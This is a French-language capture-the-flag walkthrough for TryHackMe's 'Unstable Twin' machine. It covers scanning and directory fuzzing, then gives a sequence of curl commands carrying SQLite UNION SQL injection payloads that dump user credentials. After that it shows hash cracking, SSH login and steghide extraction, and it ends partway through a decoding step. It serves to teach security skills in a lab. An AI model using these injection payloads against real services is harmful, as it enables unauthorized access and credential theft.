Unstable Twin est une machine Linux medium sur TryHackMe. L’accès au compte devra d’abord passé par du fuzzing de répertoire Web, puis de l’injection SQL sur API, puis du cassage de mot de passe. Enfin, une fois l’accès au compte SSH effectué, il faudra finir par la stéganographie pour avoir accès au compte root.
1.3.4-dev
Pour répondre à cette question, il faut commencer par énumérer la box avec cette commande nmap : nmap -A -sC -sV unstable.thm
J’utilise plutôt un nom de domaine à la place de l’adresse IP. Pour cela il faut modifier le fichier /etc/hosts avec cette commande echo ‘10.10.25.12’ >> /etc/hosts
Comme le montre le résultat du scan, il y deux ports ouvert :
Le port 80 est accessible avec 3 méthodes supportés :
En revanche, l’accès à la page Web via le navigateur nous donne une page blanche.
gobuster dir -u http://unstable.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Trois répertoires sont découverts :
L’accès à la page Web est fonctionnel est nous donne une information quant à l’obligation d’avoir un mot de passe pour pouvoir y accèder.
Avec curl, on arrive à obtenir des informations concernant le nom est la vesion de l’API. Il faut noter que la commande est à lancer deux fois, car en fait il y a deux API. Information qui nous permet de répondre à la deux questions.
Commande curl : curl -v http://unstable.thm/info
Nay
5
Afin de répondre à cette question, il faut passer par des injections SQL qui permettra de récupérer les informations de connexion SSH d’un utilisateur.
Voici les commandes final qui permet d’exploit la vulnérabilité SQL :
Vérification de la vulnérabilité.
curl -X POST ‘http://unstable.thm/api/login’-d « username=test’&password=test »
Verification de la version sql utilisée :
curl -X POST ‘http://unstable.thm/api/login’ -d « username=admin’ UNION SELECT 1,sqlite_version()–&password=admin »
Recherche des tables :
curl -X POST ‘http://unstable.thm/api/login’ -d « username=admin’ UNION SELECT 1,group_concat(tbl_name) from sqlite_master where type=’table’ and tbl_name not like ‘sqlite_%’–&password=admin »
curl -X POST ‘http://unstable.thm/api/login’ -d « username=admin’ UNION SELECT 1,(select sql from sqlite_master where tbl_name = ‘users’)–&password=admin »
curl -X POST ‘http://unstable.thm/api/login’ -d « username=admin’ UNION SELECT 1,(select sql from sqlite_master where tbl_name = ‘notes’)–&password=admin »
curl -X POST ‘http://unstable.thm/api/login’ -d « username=admin’ UNION SELECT 1,(select username || ‘:’ || password from users LIMIT 1 OFFSET 0)–&password=admin »
curl -X POST ‘http://unstable.thm/api/login’ -d « username=admin’ UNION SELECT 1,group_concat(notes) from notes–&password=admin »
Sans forcémeent passer par hashcat ou john, il est possible d’utiliser des sites web comme crackstation ou hashes en copiant/collant le hash récupérer.
Une fois connecté sur le compte de mary_ann (ssh mary_ann@unstable.thm), il faut effectuer une énumération local. Toutefois, sans avoir besoin d’utilisation des outils automatique comme linpeas (voir article), on peut voir que dans le dossier /opt (qui est souvent utilisés dans les ctf pour y mettre des informations ou autres) que différents éléments s’y trouve.
Récupération de tous les élements en local sur Kali.
scp *.* root@10.8.76.250:/root/trytohackme/unstabletwin
Pour extraire les données contenu dans les différentes photos, on va utiliser steghide.
steghide extract -sf Twins-Arnold-Schwarzenegger.jpg
steghide extract -sf Twins-Bonnie-Bartlett.jpg
steghide extract -sf Twins-Chloe-Webb.jpg
steghide extract -sf Twins-Danny-DeVito.jpg
steghide extract -sf Twins-Kelly-Preston.jpg
D’après ce que dit mary_ann il faut mettre les couelurs de l’arc-en-ciel dans l’ordre. C’est très tordu comme réponse, car il faut voir que ce sont les couelurs de l’arc-en-ciel et que souvent les arcs-en-ciel sont coloriés plus ou moins de la même manière. En faisant cette recherche dans google, les premières images d’arc-en-ciel donne cet ordre : rouge orange jaune green.
Ce qui donne :
rouge orange jaune vert
1DVsdb2uEE0k5HK4GAIZPS0Mby2jomUKLjvQ4OSwjKLNAAeCdl2J8BCRuXVXeVYvs6J6HKpZWPG8pfeHoNG1
Autre possibilité pour les mettre dans l’ordre, il faut essayer les 256 possibilités… .
Cette chaine de caractère est code en base62, on peut utiliser le site cyberchef de cette manière :